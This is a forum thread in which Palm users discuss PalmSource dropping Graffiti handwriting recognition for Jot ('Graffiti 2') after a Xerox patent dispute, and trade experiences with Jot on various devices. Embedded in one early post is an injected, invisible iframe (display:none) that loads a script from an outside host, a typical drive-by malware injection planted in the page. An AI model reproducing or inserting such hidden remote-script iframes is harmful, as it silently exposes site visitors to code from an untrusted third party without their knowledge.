    Graffiti's Dead

    FYI: According to Brighthand, "PalmSource, the operating system subsidiary of Palm, Inc., announced today that future versions of Palm OS will not contain Graffiti. Rather, they will incorporate a modified version of Communication Intelligence Corporation's Jot handwriting recognition software, something it's calling Graffiti 2 powered by Jot."

    Woah! Isn't Jot used by pocketPC devices?<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>

    Jot has been used by Palm folks for years and years. I don't know for sure but I think it was available for Palm first.

    I use a Symbol Wireless device at work for part number scanning and Case/Task Mgt. via a CDPD and a new GSM wireless network. On the new GSM device I see we now have the ability to add notes using the Jot software. The version of Jot on this device is pretty good, kinda remonds me of Teal Echo.

    Apparently Graffiti infringed on a Xerox patent.

    Palm Drops Graffitti

    This just in. A lawsuit by Xerox has forced Palm to abandon Graffitti. From now on it will be "Graffitti Two powered by Jot".

    And I was just startin' to get the hang of Graffitti One!

    I used Jot a few years back when I had the Ericsson R380w smartphone. I liked it, but it's not all that different from Graffiti.

    Is Graffiti dead?

    This article reports Palm will be abandoning Graffiti in favor of Jot for its handwriting recognition software in future Palm OS:

    I had a device that used jot before buying my 6035. I rather liked it. I think it's a bit more convenient than graffiti if only because you don't have to do the upstroke for the shift character.

    After reading this review, http://zdnet.com.com/2100-1104-980403.html, I see that Kyocera already has access.

    I wonder if the 7135 uses it. I know Jot allows a lot more possible ways to enter each letter, and is somewhat trainable, although not as much as TealEcho, I presume.

    Anyone have a 7135? Does it use Graffiti 2, which is supposed to be in 4.1.2 of the Palm OS?

    Methinks we'll see Jot in the next revision of OS 5, and not retrofit by Palm into existing products. The OS in the 7135 isn't upgradable, though it's my understanding that Jot is just another application to Palm devices already shipping.

    Has anyone in this forum added Jot to the 7135 yet?

    I have jot or my 7135 but keep accidentally using graffiti letters instead of normal 2-stroke letters -- no bugs found yet.

    Actually, PalmSource has released Palm OS 4.1.2 which includes Graffiti 2 (Jot) to its licensees. Whether the licensees ever release it for their devices is another matter entirely. You can even download the 4.1.2 ROM file for use on POSE if you like at PalmSource's website.

    To the best of my knowledge, no PalmSource licensee has released it for their devices, not even Palm itself.

    Has anyone else used Myscript 1.2 it works pretty well, still have to do the upstroke but you can use as many strokes as neccessary to make a letter.
